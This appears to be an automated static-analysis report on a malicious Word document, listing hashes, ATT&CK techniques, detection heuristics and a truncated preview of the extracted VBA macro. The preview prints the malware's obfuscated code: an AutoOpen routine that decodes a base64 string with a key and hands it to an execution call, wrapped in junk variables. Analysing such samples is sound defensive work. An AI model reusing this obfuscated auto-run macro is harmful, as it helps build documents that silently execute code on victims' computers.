Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c8564905dbfd6d7f…

MALICIOUS

Office (OLE)

216.0 KB Created: 2018-10-04 13:45:00 Authoring application: Microsoft Office Word First seen: 2018-10-13
MD5: 7740c5e924b0efba1a98fe68f400f442 SHA-1: 11c8a0afe3e65ccd1e7aea7d6741fcc8c09c5b5a SHA-256: c8564905dbfd6d7f6c00a17c37c22af02c0f8f8272f93ef0e358d3ae9c9b3579
282 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is a malicious Office document containing a VBA macro with an AutoOpen function. This macro utilizes a Shell() call and CreateObject, indicating an attempt to execute arbitrary code. The ClamAV detection and heuristic firings strongly suggest the presence of obfuscated malicious code within the VBA, likely intended to download and execute a second-stage payload.

Heuristics 8

  • ClamAV: Doc.Macro.Obfuscated-6397052-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Obfuscated-6397052-2
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
    • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.adobe.com/tiff/1.0/In document text (OLE body)
    • http://ns.adobe.com/exif/1.0/In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 20664 bytes
SHA-256: 884f1989b73f0afe5825750531539dfd73a9ae7f499b514cea7ed415451336d9
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "VEBehUuLXWKntkDDq"
Sub AutoOpen()
Dim dIfdgPVitPPyMtTpb As String
Dim gGVKZQYCAACKRMRG As Integer
gGVKZQYCAACKRMRG = 3 * 2
dIfdgPVitPPyMtTpb = AhDDbigKwsSrbL(jPIFMdtKUVhgqpVv("IDc1OyB4bB0zKCY3LSBXPiBHKGcvOiVoMCAmJjE0YFsoVzA7XTw9HTYnQg=="), "HCAKSBC2PIUVCB2PI3GILUHGCIUGUYO2F3UC2UY3FO23OUYCF32OYUDHOYGU32FVYUO23GF")
Dim FhyWJamVpUTHqkDxgdb As Integer
FhyWJamVpUTHqkDxgdb = 8 * 5
HdMeSqnbfuPuCuGG.OPYHNQONAMvO (dIfdgPVitPPyMtTpb)
Dim ctfgdhkpnEZqgnfjB As Integer
ctfgdhkpnEZqgnfjB = 5 * 2
' OPTIONS
Dim ifsgcevowTDPKxYjK As Integer
ifsgcevowTDPKxYjK = 3
Dim WhNlZzqZSNXa As Integer
WhNlZzqZSNXa = 8 * 6
If ifsgcevowTDPKxYjK < Len(Application.UserName) Then
Dim McvdzzrpwBwb As Integer
McvdzzrpwBwb = 9 * 4
Dim RGAwuDcFDzNiKtYQNws As Object
Dim QTJPzzxphCrVhPjomZ As Integer
QTJPzzxphCrVhPjomZ = 5 * 1
ifsgcevowTDPKxYjK = Len(Application.UserName)
End If
End Sub
Public Function jPIFMdtKUVhgqpVv(QhZiHVrNrvvNNJIwUq As String, Optional KQaOuuEXOWLaMrkO As Boolean = True) As String
Static KyzVDbbCFCqvaKCsbF(0 To 255) As Byte
Dim TOilhdgUIqQ As Integer
TOilhdgUIqQ = 7 * 6
Dim XAjiIukzsrdKeYw() As Byte, RQlrfNmSDkiZH() As Byte
Dim GazrkIeSfoW As Integer
GazrkIeSfoW = 2
Dim DXviRHEkDni As Integer
DXviRHEkDni = 5
Dim HvMCLwuNAhh As Integer
HvMCLwuNAhh = 5 * 2
If DXviRHEkDni < Len(Application.UserName) Then
Dim BvcVsGqrwTp As Object
Dim QakrqChhukFzTCFT As Integer
QakrqChhukFzTCFT = 8
Dim KaRkvVwlAHHO As Integer
KaRkvVwlAHHO = 9 * 9
If QakrqChhukFzTCFT < Len(Application.UserName) Then
Dim llfCsJzmeVbTC As Integer
llfCsJzmeVbTC = 1 * 7
Dim yHWTSFVDSjdLspHHwBl As Object
QakrqChhukFzTCFT = Len(Application.UserName)
End If
DXviRHEkDni = Len(Application.UserName)
End If
If GazrkIeSfoW < Len(Application.UserName) Then
Dim hIIlwKbLtwVWqqUr As Integer
hIIlwKbLtwVWqqUr = 5
If hIIlwKbLtwVWqqUr < Len(Application.UserName) Then
Dim WwCyaomNbEB As Integer
WwCyaomNbEB = 7 * 4
Dim vjbiSSeBVYyImOlru As Object
Dim QjSXrPrlZIa As Integer
QjSXrPrlZIa = 9 * 7
hIIlwKbLtwVWqqUr = Len(Application.UserName)
End If
Dim jBWVgpsYxWUZOz As Object
Dim sIDnCwQuTpnHrXZevQ As Collection
Set sIDnCwQuTpnHrXZevQ = New Collection
sIDnCwQuTpnHrXZevQ.Add "SjnONBxyCkSiXNia"
sIDnCwQuTpnHrXZevQ.Add "ATyjHlfdSNUFHOW"
GazrkIeSfoW = Len(Application.UserName)
End If
Dim aWqvdoACNsBRA As Long, erIibqaTFyabZ As Long
Dim uqswsWxtGzRHA As Integer
uqswsWxtGzRHA = 7 * 2
If KyzVDbbCFCqvaKCsbF(0) = 0 Then
For aWqvdoACNsBRA = 0 To 255
KyzVDbbCFCqvaKCsbF(aWqvdoACNsBRA) = 255
Dim pQnPtkyueiY As Integer
pQnPtkyueiY = 5 * 2
Next aWqvdoACNsBRA
For aWqvdoACNsBRA = 0 To 25
Dim onfFECsRTbHPeRAQy As Collection
Set onfFECsRTbHPeRAQy = New Collection
onfFECsRTbHPeRAQy.Add "IEIHoYKLFfRLzAqgH"
onfFECsRTbHPeRAQy.Add "CBIWhnyQBmTyJK"
KyzVDbbCFCqvaKCsbF(aWqvdoACNsBRA + 65) = aWqvdoACNsBRA
Dim eBbDolXBpXsTu As Collection
Set eBbDolXBpXsTu = New Collection
eBbDolXBpXsTu.Add "JbkPkAJlugCsxmOt"
eBbDolXBpXsTu.Add "ZFLiOikksIkQvif"
eBbDolXBpXsTu.Add "NOefhnEwQYmKT"
eBbDolXBpXsTu.Add "aywqQYwkmoIoJvadvJm"
eBbDolXBpXsTu.Add "WDpcmHjzvru"
eBbDolXBpXsTu.Add "DvkIsEEGOnsAKJvSTWT"
Next aWqvdoACNsBRA
Dim qurkgdEwWcPwGDFkPWw As Integer
qurkgdEwWcPwGDFkPWw = 7 * 2
For aWqvdoACNsBRA = 26 To 51
Dim HTvftbjORtLpXRHNQhh As Integer
HTvftbjORtLpXRHNQhh = 9 * 6
KyzVDbbCFCqvaKCsbF(aWqvdoACNsBRA + 71) = aWqvdoACNsBRA
Dim vAleKJKFVXwDfJyymFf As Integer
vAleKJKFVXwDfJyymFf = 9 * 2
Next aWqvdoACNsBRA
Dim zHKWsWGEsgyWY As Integer
zHKWsWGEsgyWY = 1 * 8
For aWqvdoACNsBRA = 52 To 61
KyzVDbbCFCqvaKCsbF(aWqvdoACNsBRA - 4) = aWqvdoACNsBRA
Dim nFsONzvYvpwLiTvCu As Integer
nFsONzvYvpwLiTvCu = 5 * 3
Next aWqvdoACNsBRA
Dim NvRMAXowzNQ As Integer
NvRMAXowzNQ = 9 * 6
KyzVDbbCFCqvaKCsbF(43) = 62
Dim TYDWegzIAngUg As Collection
Set TYDWegzIAng
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.